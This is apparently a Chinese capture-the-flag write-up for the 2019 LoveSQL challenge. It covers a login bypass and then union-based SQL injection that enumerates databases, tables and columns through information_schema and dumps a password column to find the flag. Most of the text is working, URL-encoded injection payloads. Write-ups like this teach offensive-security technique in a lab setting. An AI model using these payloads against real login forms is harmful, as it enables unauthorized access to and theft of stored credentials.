[极客大挑战 2019]LoveSQL

0x00 知识点

1：万能密码登陆

2：登陆后直接使用联合查询注入

0x01解题

登陆后进行简单测试发现是字符型注入

order by 测试数据库有多少字段

发现在4的时候报错，没有过滤，直接进行注入

注入数据库：

admin'union+select+1,2,group_concat(schema_name)+from+information_schema.schemata#

查询数据表

username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3Ddatabase()%20%23
```![](https://img2018.cnblogs.com/blog/1625650/202001/1625650-20200127203623412-351579050.png)

**查询数据表中的列：**

username=admin&password=admin%27%20union%20select%201%2C2%2Cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%3Ddatabase()%20%23

**查询数据**

username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(password)%20from%20l0ve1ysq1%23

**查看源代码得到flag.**